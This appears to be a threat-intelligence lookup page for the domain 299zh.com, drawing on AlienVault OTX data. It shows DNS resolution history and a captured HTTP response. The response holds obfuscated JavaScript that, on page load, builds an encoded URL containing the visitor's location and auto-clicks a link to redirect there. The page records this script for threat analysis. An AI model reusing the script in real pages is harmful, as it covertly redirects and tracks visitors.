Domain > 299zh.com

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2024-03-18	154.17.19.54 (ClassC)
2024-08-02	23.225.33.85 (ClassC)
2025-04-23	23.225.33.27 (ClassC)
2025-07-17	23.225.223.101 (ClassC)
2025-09-07	154.17.9.182 (ClassC)
2025-09-15	172.247.17.43 (ClassC)
2025-10-03	172.247.17.42 (ClassC)
2026-02-02	23.225.148.123 (ClassC)

Port 80

HTTP/1.1 200 OKContent-Type: text/html; charsetutf-8Content-Length: 1558Connection: close

html>body>a idhm>script typetext/javascript>var _0x1c3eate,y1.,tEv,Mou,vgm,get,ven,mCh,tBy,flo,Eve,pat,:23,p00,ent,cli,ran,//k,ode,all,men,cre,&p,seE,ini,arC,htt,loc,itf,4fs,w5m,hre,ps:,Ele,chE,fro,bto,dis,?u;(function(_0xbb9af0,_0x1c3e90){var _0x34aafffunction(_0x2feb9f){while(--_0x2feb9f){_0xbb9af0push(_0xbb9af0shift());}};_0x34aaff(++_0x1c3e90);}(_0x1c3e,0x95));var _0x34aafunction(_0xbb9af0,_0x1c3e90){_0xbb9af0_0xbb9af0-0x0;var _0x34aaff_0x1c3e_0xbb9af0;return _0x34aaff;};var strU_0x34aa(0x21)+_0x34aa(0x0)+_0x34aa(0x18)+_0x34aa(0x25)+_0x34aa(0x24)+_0x34aa(0x8)+_0x34aa(0xb)+_0x34aa(0x23)+_0x34aa(0x14)+.my+_0x34aa(0x13)+267+_0x34aa(0x6)+window_0x34aa(0x4)+a(window_0x34aa(0x4)+a(window_0x34aa(0x22)+ati+on))+String_0x34aa(0x3)+_0x34aa(0xe)+_0x34aa(0x20)+_0x34aa(0x19)(Math_0x34aa(0x10)+or(Math_0x34aa(0x17)+dom()*0x1a)+0x61)+(_0x34aa(0x1d)+o);hm_0x34aa(0x26)+fstrU;if(document_0x34aa(0x1a)){document_0x34aa(0xc)+Ele+_0x34aa(0x1b)+_0x34aa(0xf)+Id(hm)_0x34aa(0x16)+ck();}else{var edocument_0x34aa(0x1c)+_0x34aa(0x7)+_0x34aa(0x11)+nt(_0x34aa(0xa)+_0x34aa(0x1e)+ven+ts);e_0x34aa(0x1f)+_0x34aa(0x9)+_0x34aa(0x15)(cli+ck,!!,!!);document_0x34aa(0xc)+_0x34aa(0x1)+_0x34aa(0x1b)+_0x34aa(0xf)+Id(hm)_0x34aa(0x5)+_0x34aa(0x12)+_0x34aa(0x2)+_0x34aa(0xd)+t(e);}/script>/body>/html>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 299zh.com

Is this malicious?

DNS Resolutions

Port 80